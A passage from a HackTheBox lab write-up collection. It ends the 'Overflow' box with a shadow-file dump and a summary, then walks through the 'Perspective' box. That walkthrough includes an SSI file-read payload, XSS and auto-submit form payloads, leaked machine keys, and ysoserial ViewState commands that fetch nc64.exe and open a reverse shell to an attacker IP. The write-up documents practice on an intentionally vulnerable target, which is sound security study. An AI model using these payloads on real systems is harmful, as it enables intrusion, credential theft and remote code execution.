e9f4f4efa1bfadbffae2fcdaceb5f5ffbff8decfcfa2edfaeee2abd9cdf1efc3dfacccc1cae1f1f5fea3d0e1eecbdddac3f6fcccf4ded9dfd5aef8f8b4f7ecd1a9d1edecf5eac1cfcec2efe2f8aafde3edc3edcec9d9acf2dfdae1f9fcece9b5fcf3cbade9e3b4a1aaa3acaca3a1aba1a2a2a2a2a2a1aca1a1a191fffafef6f4f5a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f9f2f5a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191e8e2e8a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191e8e2f5f8a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191fcfaf6fee8a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f6faf5a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f7eba1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f6faf2f7a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f5feece8a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191eeeef8eba1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191ebe9f4e3e2a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191ecececb6fffaeffaa1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f9faf8f0eeeba1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f7f2e8efa1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f2e9f8a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191fcf5faefe8a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f5f4f9f4ffe2a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191e8e2e8effef6ffb6f5feefecf4e9f0a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191e8e2e8effef6ffb6e9fee8f4f7edfea1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191e8e2e8f7f4fca1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f6fee8e8fafcfef9eee8a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191c4faebefa1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f7e3ffa1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191eeeef2ffffa1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191fff5e8f6fae8eaa1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f7faf5ffe8f8faebfea1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191ebf4f7f7f2f5faeffea1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191effee8effee9a1bfadbfe3d0b5d8eda9fdf5bfddc8add9cdecd5dcd2fcd7e3d6a2d7d0fec1cdcdd8cbdee3e8c3eed0deafcdefebd6cac8b4e3ffd4eec9d3dec9f1cdedddcaa8fce8f1feb5aedfafcdc1a9c2d6f3dac2dfeee2d6d7c3e3ddebe1caabf3e8aeaecff7b4a1aaa3acaca3a1aba1a2a2a2a2a2a1aca1a1a191ebf4e8effdf2e3a1b1a1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191f6e2e8eaf7a1baa1aaa3acadafa1aba1a2a2a2a2a2a1aca1a1a191fffeedfef7f4ebfee9a1bfadbfcdfce1d9d5f3efcabfdfa2b5ecfed8ccecd2f5fef0e3efd2a2cafad6f4fdf7d3f4f9f2edd8e8d9f2c1c2fdd1b4acf4dcefedc2aeafc9c2dcb5d2f1efabf1dcf0dacfafabeacad5d0b4f0c9a9a3c1cdefcec3afced0a9d0f7eaddeff6f4acaba1aaa3acaca8a1aba1a2a2a2a2a2a1aca1a1a191e8e8f3ffa1b1a1aaa3acaca3a1aba1a2a2a2a2a2a1aca1a1a191
```

``` bash
https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'0x9b'%7D,'Standard',false)&input=ZTlmNGY0ZWZhMWJmYWRiZmZhZTJmY2RhY2ViNWY1ZmZiZmY4ZGVjZmNmYTJlZGZhZWVlMmFiZDljZGYxZWZjM2RmYWNjY2MxY2FlMWYxZjVmZWEzZDBlMWVlY2JkZGRhYzNmNmZjY2NmNGRlZDlkZmQ1YWVmOGY4YjRmN2VjZDFhOWQxZWRlY2Y1ZWFjMWNmY2VjMmVmZTJmOGFhZmRlM2VkYzNlZGNlYzlkOWFjZjJkZmRhZTFmOWZjZWNlOWI1ZmNmM2NiYWRlOWUzYjRhMWFhYTNhY2FjYTNhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZmZmYWZlZjZmNGY1YTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFmOWYyZjVhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWU4ZTJlOGExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZThlMmY1ZjhhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWZjZmFmNmZlZThhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWY2ZmFmNWExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjdlYmExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjZmYWYyZjdhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWY1ZmVlY2U4YTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFlZWVlZjhlYmExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZWJlOWY0ZTNlMmExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZWNlY2VjYjZmZmZhZWZmYWExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjlmYWY4ZjBlZWViYTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFmN2YyZThlZmExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjJlOWY4YTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFmY2Y1ZmFlZmU4YTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFmNWY0ZjlmNGZmZTJhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWU4ZTJlOGVmZmVmNmZmYjZmNWZlZWZlY2Y0ZTlmMGExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZThlMmU4ZWZmZWY2ZmZiNmU5ZmVlOGY0ZjdlZGZlYTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFlOGUyZThmN2Y0ZmNhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWY2ZmVlOGU4ZmFmY2ZlZjllZWU4YTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFjNGZhZWJlZmExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjdlM2ZmYTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFlZWVlZjJmZmZmYTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFmZmY1ZThmNmZhZThlYWExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjdmYWY1ZmZlOGY4ZmFlYmZlYTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFlYmY0ZjdmN2YyZjVmYWVmZmVhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWVmZmVlOGVmZmVlOWExYmZhZGJmZTNkMGI1ZDhlZGE5ZmRmNWJmZGRjOGFkZDljZGVjZDVkY2QyZmNkN2UzZDZhMmQ3ZDBmZWMxY2RjZGQ4Y2JkZWUzZThjM2VlZDBkZWFmY2RlZmViZDZjYWM4YjRlM2ZmZDRlZWM5ZDNkZWM5ZjFjZGVkZGRjYWE4ZmNlOGYxZmViNWFlZGZhZmNkYzFhOWMyZDZmM2RhYzJkZmVlZTJkNmQ3YzNlM2RkZWJlMWNhYWJmM2U4YWVhZWNmZjdiNGExYWFhM2FjYWNhM2ExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFlYmY0ZThlZmZkZjJlM2ExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjZlMmU4ZWFmN2ExYmFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZmZmZWVkZmVmN2Y0ZWJmZWU5YTFiZmFkYmZjZGZjZTFkOWQ1ZjNlZmNhYmZkZmEyYjVlY2ZlZDhjY2VjZDJmNWZlZjBlM2VmZDJhMmNhZmFkNmY0ZmRmN2QzZjRmOWYyZWRkOGU4ZDlmMmMxYzJmZGQxYjRhY2Y0ZGNlZmVkYzJhZWFmYzljMmRjYjVkMmYxZWZhYmYxZGNmMGRhY2ZhZmFiZWFjYWQ1ZDBiNGYwYzlhOWEzYzFjZGVmY2VjM2FmY2VkMGE5ZDBmN2VhZGRlZmY2ZjRhY2FiYTFhYWEzYWNhY2E4YTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWU4ZThmM2ZmYTFiMWExYWFhM2FjYWNhM2ExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTE
```

``` bash
root:$6$aygAU.nd$cETT9vauy0BVjtXD7WZQzjne8KzuPFAXmgWoEBDN5cc/lwJ2JvwnqZTUYtyc1fxvXvURB7iDAzbgwr.ghP6rx/:18778:0:99999:7:::
daemon:*:18764:0:99999:7:::
bin:*:18764:0:99999:7:::
sys:*:18764:0:99999:7:::
sync:*:18764:0:99999:7:::
games:*:18764:0:99999:7:::
man:*:18764:0:99999:7:::
lp:*:18764:0:99999:7:::
mail:*:18764:0:99999:7:::
news:*:18764:0:99999:7:::
uucp:*:18764:0:99999:7:::
proxy:*:18764:0:99999:7:::
www-data:*:18764:0:99999:7:::
backup:*:18764:0:99999:7:::
list:*:18764:0:99999:7:::
irc:*:18764:0:99999:7:::
gnats:*:18764:0:99999:7:::
nobody:*:18764:0:99999:7:::
systemd-network:*:18764:0:99999:7:::
systemd-resolve:*:18764:0:99999:7:::
syslog:*:18764:0:99999:7:::
messagebus:*:18764:0:99999:7:::
_apt:*:18764:0:99999:7:::
lxd:*:18764:0:99999:7:::
uuidd:*:18764:0:99999:7:::
dnsmasq:*:18764:0:99999:7:::
landscape:*:18764:0:99999:7:::
pollinate:*:18764:0:99999:7:::
tester:$6$xK.Cv2fn$FS6BVwNGIgLxM9LKeZVVCPExsXuKE4VtpMQS/xdOuRHERjVvFQ3gsje.5D4VZ2YMhAYDuyMLXxFpzQ0hs55Tl/:18778:0:99999:7:::
postfix:*:18764:0:99999:7:::
mysql:!:18764:0:99999:7:::
developer:$6$VgzBNhtQ$D9.weCWwInekxtI9QaMoflHobivCsBiZYfJ/7oGtvY54RYG.Ijt0jGkAT40qQNK/kR28ZVtUX4UK2KlqFtmo70:18773:0:99999:7:::
sshd:*:18778:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2175.jpg)


#### Summary of knowledge

 - oracle padding attack to get admin's cookie
 - sqli injection to get devbuild-job.overflow.htb subdomain
 - CVE-2021-22204 exiftool RCE to get reverse shell
 - mysql password reuse by developer ssh
 - use bash cron job to get to tester user
 - file_encrypt bin reverse then using cyberchef to get root flag and root's shadow hash

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end overflow -->

</details>

<a id="case-perspective"></a>

## ViewState 密钥与 CBC 状态

XSS 和文件信息引向 ViewStateUserKey，后续保留已知密钥的 ViewState 执行与 CBC 位翻转的区别。IV、块位置和进程权限跟随原记录。

<p class="kb-provenance">来源 Perspective · 原记录 2022-04-10 · 25 个代码块 · 16 处图片引用</p>

<details class="kb-evidence" id="record-perspective">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Perspective -->

#### introduce

OS: Windows
Difficulty: Insane
Points:	50
Release:	19 Mar 2022
IP:	10.10.11.151

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2210.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/perspective]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.151
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp open  http    Microsoft IIS httpd 10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

there's a web service on 80 port, and nothing else interesting

after playing around with the web, we decide to create an account to move on

after we logon, we found an admin email account, we may have to login with this account later times

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2211.jpg)

after this we are all in black box testing later steps

#### user shell

now logoff the account and click forget password

fill in the email we registed before, and left 3 questions empty

now intercept the request, change the email to admin%40perspective.htb then forward the request

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2212.jpg)

now we have reset password console, enter whatever password you like, then login into admin@perspective.htb account

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2213.jpg)

just a load user data button and generate pdf, so we guess may have something todo with xss read files in Inner network web service

we logged out again, then go back to luci@qq.com we registered before create a product.

pwn.shtml

data =>

``` bash
<!--#include file="../web.config"-->
```

upload pwn.shtml

interspet using burp

and change content type to image/jpeg

open the uplaoded file u will see something like this.

``` bash
view-source:http://perspective.htb/Images/pwn_30533219726.shtml

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
  </configSections>
  <connectionStrings>
    <add name="localMssql" connectionString="Data Source=PERSPECTIVE\SQLEXPRESS;database=perspective;Integrated Security=True;Persist Security Info=False;Pooling=False;MultipleActiveResultSets=False;Encrypt=False;TrustServerCertificate=False" providerName="System.Data.SqlClient" />
  </connectionStrings>
  <system.web>
    <sessionState cookieless="false" mode="InProc" />
    <roleManager enabled="true" defaultProvider="SqlRoleProvider">
      <providers>
        <add name="SqlRoleProvider" type="System.Web.Security.SqlRoleProvider" connectionStringName="localMssql" applicationName="/" />
      </providers>
    </roleManager>
    <compilation debug="true" targetFramework="4.6.1" />
    <httpRuntime targetFramework="4.6.1" />
    <authentication mode="Forms">
      <forms name=".ASPXAUTH" cookieless="UseDeviceProfile" loginUrl="~/Account/Login.aspx" slidingExpiration="false" protection="All" requireSSL="false" timeout="10" path="/" />
    </authentication>
    <machineKey compatibilityMode="Framework20SP2" validation="SHA1" decryption="AES" validationKey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF" decryptionKey="B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9" />
    <pages>
      <namespaces>
        <add namespace="System.Web.Optimization" />
      </namespaces>
      <controls>
        <add assembly="Microsoft.AspNet.Web.Optimization.WebForms" namespace="Microsoft.AspNet.Web.Optimization.WebForms" tagPrefix="webopt" />
      </controls>
    </pages>
    <membership defaultProvider="SqlProvider" userIsOnlineTimeWindow="15">
      <providers>
        <add name="SqlProvider" type="System.Web.Security.SqlMembershipProvider" connectionStringName="localMssql" applicationName="/" enablePasswordRetrieval="false" enablePasswordReset="true" requiresQuestionAndAnswer="false" requiresUniqueEmail="false" passwordFormat="Hashed" maxInvalidPasswordAttempts="5" passwordAttemptWindow="10" />
      </providers>
    </membership>
    <profile>
      <providers>
        <clear />
        <add name="AspNetSqlProfileProvider" type="System.Web.Profile.SqlProfileProvider" connectionStringName="localMssql" applicationName="/" />
      </providers>
      <properties>
        <add name="Question1" />
        <add name="Answer1" />
        <add name="Question2" />
        <add name="Answer2" />
        <add name="Question3" />
        <add name="Answer3" />
      </properties>
    </profile>
    <customErrors mode="On">
      <error redirect="http://perspective.htb/500.html" statusCode="500" />
    </customErrors>
  </system.web>
  <runtime>
    <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
      <dependentAssembly>
        <assemblyIdentity name="Antlr3.Runtime" publicKeyToken="eb42632606e9261f" />
        <bindingRedirect oldVersion="0.0.0.0-3.5.0.2" newVersion="3.5.0.2" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" />
        <bindingRedirect oldVersion="0.0.0.0-12.0.0.0" newVersion="12.0.0.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="System.Diagnostics.DiagnosticSource" publicKeyToken="cc7b13ffcd2ddd51" />
        <bindingRedirect oldVersion="0.0.0.0-4.0.2.1" newVersion="4.0.2.1" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="WebGrease" publicKeyToken="31bf3856ad364e35" />
        <bindingRedirect oldVersion="0.0.0.0-1.6.5135.21930" newVersion="1.6.5135.21930" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="EntityFramework" publicKeyToken="b77a5c561934e089" />
        <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="System.Web.Helpers" publicKeyToken="31bf3856ad364e35" />
        <bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="System.Web.WebPages" publicKeyToken="31bf3856ad364e35" />
        <bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="System.Buffers" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-4.0.3.0" newVersion="4.0.3.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="System.Memory" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-4.0.1.1" newVersion="4.0.1.1" />
      </dependentAssembly>
    </assemblyBinding>
  </runtime>
  <system.webServer>
    <handlers>
      <add name="HTMLHandler" type="System.Web.StaticFileHandler" path="*.html" verb="GET" />
      <add name="SSINC-html" path="*.shtml" verb="*" modules="ServerSideIncludeModule" resourceType="File" />
    </handlers>
        <httpErrors errorMode="Custom" />
  </system.webServer>
  <system.net></system.net>
  <system.data></system.data>
  <appSettings>
    <add key="environment" value="Production" />
    <add key="Domain" value="perspective.htb" />
    <add key="ViewStateUserKey" value="ENC1:3UVxtz9jwPJWRvjdl1PfqXZTgg==" />
    <add key="SecurePasswordServiceUrl" value="http://localhost:8000" />
  </appSettings>
</configuration>
<!--ProjectGuid: 32B06320-D9FA-44B2-A1EA-B2547531A4A2-->
```

then we have to get XSS and get the state key from localhost:8000

now create a new product with our xss payload

 - [xss-payload-list](https://github.com/payloadbox/xss-payload-list#xss-payload-list)

after fuzz the payload with burp intruder, we found:

``` bash
<META HTTP-EQUIV="refresh" CONTENT="0;url=http://10.10.14.18/test1.html">
```

this payload can used to bypass the waf

then we will create a test1.html file with this content

``` bash
<iframe src="http://localhost:8000/" height="2000px" width="2000px" >
</iframe>
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2214.jpg)

after submit this, we logoff the luci account then go to admin account again

load user data then generate pdf, we have something from http://localhost:8000/ in the pdf file

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2215.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2216.jpg)

now change the html file to:

``` bash
<iframe src="http://localhost:8000/swagger/v1/swagger.json" height="2000px" width="2000px" ></iframe>
```

then do these steps again, we got

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2217.jpg)

now change the html file to:

``` bash
<html>
<body>
<h1>Pwned</h1>
<p><br></p>
<form id="Pwnform" target="iframe" method="post" action="http://localhost:8000/decrypt?cipherTextRaw=ENC1%3a3UVxtz9jwPJWRvjdl1PfqXZTgg%3d%3d">
<input type="text">
</form>
<iframe name="iframe"></iframe>
<script type="text/javascript">document.getElementById('Pwnform').submit();</script>
</body>
</html>
```

then do these steps again, we got

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2218.jpg)

now we have the decrypted viewstateuserkey

``` bash
SAltysAltYV1ewSTaT3
```

for get a reverse shell we need to use viewstate deserialization

 - [Exploiting __VIEWSTATE knowing the secrets](https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret#rce-with-enabled-viewstate-mac-validation)

so we could build the following commands to generate payload

``` bash
C:\files\1.pentesttool\ysoserial-net>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c Invoke-webrequest -URI 10.10.14.18/nc64.exe -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF"
/wEyhQgAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACnBjw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwb3dlcnNoZWxsIC1jIEludm9rZS13ZWJyZXF1ZXN0IC1VUkkgMTAuMTAuMTQuMTgvbmM2NC5leGUgLU91dEZpbGUgQzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxzcG9vbFxcZHJpdmVyc1xcY29sb3JcXG5jNjQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPguM95LRsyiFojYPdZ9Co9grbtBntw==
```

replace the __VIEWSTATE then send it

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2219.jpg)

``` bash
C:\files\1.pentesttool\ysoserial-net>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "C:\Windows\System32\spool\drivers\color\nc64.exe -e cmd.exe 10.10.14.18 443" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF"
/wEy1wcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD5BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBDOlxXaW5kb3dzXFN5c3RlbTMyXHNwb29sXGRyaXZlcnNcY29sb3JcbmM2NC5leGUgLWUgY21kLmV4ZSAxMC4xMC4xNC4xOCA0NDMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+C56EC8N0ciCFvoXWP5NMa/I3mWmj
```

now we have a shell, and user flag

``` bash
c:\Users\webuser\Desktop>type user.txt
type user.txt
60828cc3684d633774b6904dd73769f3
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2220.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2221.jpg)


#### root shell

 - the unintended way: rouge patoto is now patched

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/potato-patched.png)

so we have to move on the other way:

``` bash
Proto  Local Address          Foreign Address        State           PID
TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       2212
TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       848
TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
